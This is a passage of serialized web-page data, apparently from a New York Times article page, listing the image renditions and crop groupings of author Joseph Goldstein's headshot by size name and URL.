ype":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master675.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master180.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master315.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-master768.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbStandard.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbStandard.png","name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blogSmallThumb.png","name":"blogSmallThumb","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbLarge.png","name":"thumbLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare168.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-smallSquare168.png","name":"smallSquare168","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-smallSquare252.png","name":"smallSquare252","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbStandard.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare168.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-smallSquare252.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square320.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-square320.png","name":"square320","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-moth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-moth.png","name":"moth","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-filmstrip.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-filmstrip.png","name":"filmstrip","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square640.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-square640.png","name":"square640","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumSquare149.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumSquare149.png","name":"mediumSquare149","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.2":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square320.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-moth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-filmstrip.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-square640.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumSquare149.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-sfSpan.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-sfSpan.png","name":"sfSpan","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontal375.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeHorizontal375.png","name":"largeHorizontal375","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontalJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeHorizontalJumbo.png","name":"largeHorizontalJumbo","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-horizontalMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-horizontalMediumAt2X.png","name":"horizontalMediumAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.3":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-sfSpan.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontal375.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeHorizontalJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-horizontalMediumAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-hpLarge.png","name":"hpLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeWidescreen573.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-largeWidescreen573.png","name":"largeWidescreen573","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.4":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-largeWidescreen573.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbWide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-thumbWide.png","name":"thumbWide","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoThumb.png","name":"videoThumb","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoLarge.png","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo210.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo210.png","name":"mediumThreeByTwo210","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo225.png","name":"mediumThreeByTwo225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo440.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo440.png","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo252.png","name":"mediumThreeByTwo252","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo378.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumThreeByTwo378.png","name":"mediumThreeByTwo378","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoLargeAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoLargeAt2X.png","name":"threeByTwoLargeAt2X","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoMediumAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoMediumAt2X.png","name":"threeByTwoMediumAt2X","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoSmallAt2X.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-threeByTwoSmallAt2X.png","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.5":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-thumbWide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo210.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo440.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo252.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumThreeByTwo378.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoLargeAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoMediumAt2X.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-threeByTwoSmallAt2X.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-articleInline.png","name":"articleInline","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-hpSmall.png","name":"hpSmall","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallInline.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-blogSmallInline.png","name":"blogSmallInline","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumFlexible177.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-mediumFlexible177.png","name":"mediumFlexible177","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.6":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumFlexible177.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSmall.png","name":"videoSmall","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoHpMedium.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoHpMedium.png","name":"videoHpMedium","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine600.png","name":"videoSixteenByNine600","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine540.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine540.png","name":"videoSixteenByNine540","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine495.png","name":"videoSixteenByNine495","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine390.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine390.png","name":"videoSixteenByNine390","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine480.png","name":"videoSixteenByNine480","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine310.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine310.png","name":"videoSixteenByNine310","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine225.png","name":"videoSixteenByNine225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine96.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine96.png","name":"videoSixteenByNine96","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine768.png","name":"videoSixteenByNine768","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine150.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine150.png","name":"videoSixteenByNine150","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png","name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.7":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoHpMedium.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine600.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine540.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine390.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine310.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine96.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine768.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine150.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-miniMoth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-miniMoth.png","name":"miniMoth","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-windowsTile336H.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-windowsTile336H.png","name":"windowsTile336H","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.8":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-miniMoth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-windowsTile336H.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.9":{"renditions":[],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-facebookJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-facebookJumbo.png","name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.10":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-facebookJumbo.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch308.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-watch308.png","name":"watch308","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch268.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-watch268.png","name":"watch268","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.11":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch308.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch268.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9h